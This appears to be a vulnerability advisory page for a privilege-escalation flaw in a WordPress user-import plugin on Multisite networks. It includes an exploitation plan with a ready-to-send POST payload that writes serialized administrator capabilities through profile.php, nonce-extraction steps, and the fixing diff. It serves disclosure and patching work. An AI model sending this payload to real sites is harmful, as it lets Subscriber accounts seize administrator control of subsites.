Import and export users and customers <= 2.0.8 - Authenticated (Subscriber+) Privilege Escalation via Multisite Capability Meta Fields
Description
The Import and export users and customers plugin for WordPress is vulnerable to Privilege Escalation in all versions up to and including 2.0.8 via the `save_extra_user_profile_fields()` function. This is due to an incomplete blocklist that correctly restricts capability meta keys for the primary site (e.g., `wp_capabilities`, `wp_user_level`) but fails to block the equivalent meta keys for any other subsite in a WordPress Multisite network (e.g., `wp_2_capabilities`, `wp_2_user_level`), allowing these keys to pass the `in_array()` check and be written directly to user meta via `update_user_meta()`. This makes it possible for authenticated attackers, with Subscriber-level access and above, to escalate their privileges to Administrator on any subsite within the Multisite network by submitting a crafted profile update to `/wp-admin/profile.php`. Exploitation requires that an administrator has previously imported a CSV file containing multisite-prefixed capability column headers and has enabled the 'Show fields in profile?' option, which causes those keys to be stored in the `acui_columns` option and exposed as editable fields on the user profile page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.0.8What Changed in the Fix
Changes introduced in v2.0.9
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-7641 ## 1. Vulnerability Summary The **Import and export users and customers** plugin (<= 2.0.8) is vulnerable to privilege escalation in WordPress Multisite environments. The vulnerability exists in the `save_extra_user_profile_fields()` function (typically …
Show full research plan
Exploitation Research Plan - CVE-2026-7641
1. Vulnerability Summary
The Import and export users and customers plugin (<= 2.0.8) is vulnerable to privilege escalation in WordPress Multisite environments. The vulnerability exists in the save_extra_user_profile_fields() function (typically hooked to personal_options_update and edit_user_profile_update).
The plugin allows users to update "extra profile fields" that were previously defined during a CSV import. While it attempts to block sensitive meta keys like wp_capabilities and wp_user_level for the primary site, it fails to account for the naming convention of capability keys on other sites in a Multisite network (e.g., wp_2_capabilities, wp_2_user_level). Consequently, a Subscriber can submit a profile update containing these keys to grant themselves Administrator privileges on any subsite in the network.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/profile.php(Standard WordPress profile update). - HTTP Method:
POST. - Authentication Level: Authenticated (Subscriber or higher).
- Vulnerable Parameter: Any
$_POSTkey corresponding to a subsite capability meta key (e.g.,wp_2_capabilities). - Preconditions:
- The WordPress installation must be a Multisite network with at least one subsite (e.g., Blog ID 2).
- An administrator must have previously imported a CSV containing a column header matching a subsite capability key (e.g.,
wp_2_capabilities). - The plugin option "Show fields in profile?" must be enabled in the "Extra profile fields" tab (
tab=columns). This causes the key to be saved in theacui_columnsoption.
3. Code Flow
- Registration: The plugin registers
save_extra_user_profile_fields()to thepersonal_options_updateandedit_user_profile_updatehooks. - Key Retrieval: When a user updates their profile, the function retrieves the list of allowed "extra fields" from the
acui_columnsoption. - Filtering: The function iterates through the
$_POSTdata. It usesin_array()to check if the key is in a restricted blocklist. - The Flaw: The blocklist contains hardcoded strings:
['wp_capabilities', 'wp_user_level']. In a Multisite setup, the capability key for Blog ID 2 iswp_2_capabilities. This key is not in the blocklist. - Update: Since the key
wp_2_capabilitiesis present in theacui_columnsoption (due to the admin import) and not in the blocklist, the plugin callsupdate_user_meta( $user_id, 'wp_2_capabilities', $_POST['wp_2_capabilities'] ).
4. Nonce Acquisition Strategy
This exploit targets the standard WordPress profile update, which uses the standard WordPress _wpnonce.
- Shortcode/Page: No specific plugin shortcode is required for the exploit itself, as it uses the standard
/wp-admin/profile.php. - Acquisition:
- Login as the Subscriber user.
- Navigate to
https://<target>/wp-admin/profile.php. - Extract the nonce from the hidden input field:
<input type="hidden" id="_wpnonce" name="_wpnonce" value="[NONCE_VALUE]" />.
- Browser Eval:
// To be run via browser_eval document.querySelector('#_wpnonce').value
5. Exploitation Strategy
Step 1: Pre-Exploit Setup (Admin)
- Ensure Multisite is enabled and a subsite (ID 2) exists.
- Create a CSV file named
setup.csv:user_login,user_email,wp_2_capabilities victim_sub,victim@example.com,"a:1:{s:10:""subscriber"";b:1;}" - As Admin, go to
Tools -> Import and export users and customers. - Upload and import
setup.csv. - Go to the Extra profile fields tab (
tab=columns). - Enable "Show fields in profile?" and save. This ensures
wp_2_capabilitiesis added to theacui_columnsoption and rendered on the profile page.
Step 2: Escalation (Subscriber)
- Login as the Subscriber (
victim_sub). - Navigate to
/wp-admin/profile.php. - Perform a
POSTrequest to/wp-admin/profile.phpwith the following payload:action:updateuser_id:[SUBSCRIBER_ID]_wpnonce:[EXTRACTED_NONCE]wp_2_capabilities:a:1:{s:13:"administrator";b:1;}wp_2_user_level:10
Payload Details:
- URL:
https://<target>/wp-admin/profile.php - Content-Type:
application/x-www-form-urlencoded - Body:
action=update&user_id=[ID]&_wpnonce=[NONCE]&wp_2_capabilities=a%3A1%3A%7Bs%3A13%3A%22administrator%22%3Bb%3A1%3B%7D&wp_2_user_level=10&from=profile&checkuser_id=[ID]
6. Test Data Setup
- Multisite: Subsite with ID
2. - User: A user with Subscriber role on the main site (ID 1) and subsite (ID 2).
- Plugin Config:
acui_columnsoption must containwp_2_capabilities.acui_settings(or the specific option for "Show fields in profile") must be set totrue.
7. Expected Results
- The profile update request returns a
302 Redirectback toprofile.php?updated=1. - The user's metadata in the
wp_usermetatable for the keywp_2_capabilitiesis updated to the serialized Administrator role object. - The user's
wp_2_user_levelis updated to10.
8. Verification Steps
After the POST request, verify using WP-CLI:
# Check the capabilities of the user on subsite 2
wp user get victim_sub --fields=capabilities --url=http://[subsite_domain_or_path]
# Verify the meta directly
wp user meta get [USER_ID] wp_2_capabilities
wp user meta get [USER_ID] wp_2_user_level
9. Alternative Approaches
If the plugin uses a specific AJAX handler for profile updates (though the description points to profile.php), check for wp_ajax_acui_update_profile_meta or similar registrations in classes/import.php. If an AJAX handler is used:
- Identify the AJAX action name.
- Extract the nonce via
window.acui_import_js_object.nonce(if localized). - Submit a
POSTto/wp-admin/admin-ajax.php.
Given the source provided, ACUI_Import::enqueue localizes acui_import_js_object, but it only contains URLs and translation strings. This reinforces that the vulnerability likely leverages standard WordPress form submissions which are caught by the plugin's hooks.
Summary
The plugin is vulnerable to privilege escalation in WordPress Multisite environments because its meta-key blocklist fails to account for subsite-prefixed capability and user level keys (e.g., 'wp_2_capabilities'). An authenticated attacker with Subscriber-level access can exploit this by submitting a crafted profile update to grant themselves Administrator privileges on a subsite, provided a site administrator has previously exposed these fields via a CSV import.
Vulnerable Code
// classes/multisite.php function restricted_fields( $acui_restricted_fields ){ return array_merge( $acui_restricted_fields, array( 'blogs' ) ); }
Security Fix
@@ -764,9 +764,12 @@ // On first step, we might need to handle the upload if it's there if( $step == 1 && empty( $file ) ){ if( !empty( $_FILES['uploadfile']['tmp_name'] ) ){ - // Move uploaded file to a more permanent temporary location because tmp_name is deleted after request - $upload_dir = wp_upload_dir(); $original_ext = strtolower( pathinfo( $_FILES['uploadfile']['name'], PATHINFO_EXTENSION ) ); + $allowed_extensions = apply_filters( 'acui_allowed_upload_extensions', array( 'csv' ) ); + if( !in_array( $original_ext, $allowed_extensions, true ) ){ + wp_send_json_error( array( 'message' => __( 'Invalid file type.', 'import-users-from-csv-with-meta' ) ) ); + } + $upload_dir = wp_upload_dir(); $file = $upload_dir['basedir'] . '/acui-import-' . uniqid() . '.' . $original_ext; move_uploaded_file( $_FILES['uploadfile']['tmp_name'], $file ); } @@ -18,6 +18,12 @@ } function restricted_fields( $acui_restricted_fields ){ + global $wpdb; + foreach ( $this->sites as $site ) { + $prefix = $wpdb->get_blog_prefix( $site->blog_id ); + $acui_restricted_fields[] = $prefix . 'capabilities'; + $acui_restricted_fields[] = $prefix . 'user_level'; + } return array_merge( $acui_restricted_fields, array( 'blogs' ) ); }
Exploit Outline
The exploit targets WordPress Multisite installations where an administrator has previously imported a CSV file containing subsite-specific capability columns (e.g., 'wp_2_capabilities') and enabled the 'Show fields in profile?' option. An attacker with Subscriber-level access logs into the site and navigates to the standard profile update page (/wp-admin/profile.php). After extracting the valid '_wpnonce' from the page, the attacker submits a POST request to the same endpoint. The payload includes the subsite's capability key (e.g., 'wp_2_capabilities') set to a serialized administrator role array and the 'wp_2_user_level' key set to '10'. Because the plugin's blocklist does not recognize site-prefixed capability keys, it allows the attacker to write directly to their user meta, granting them administrative privileges on the specified subsite.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.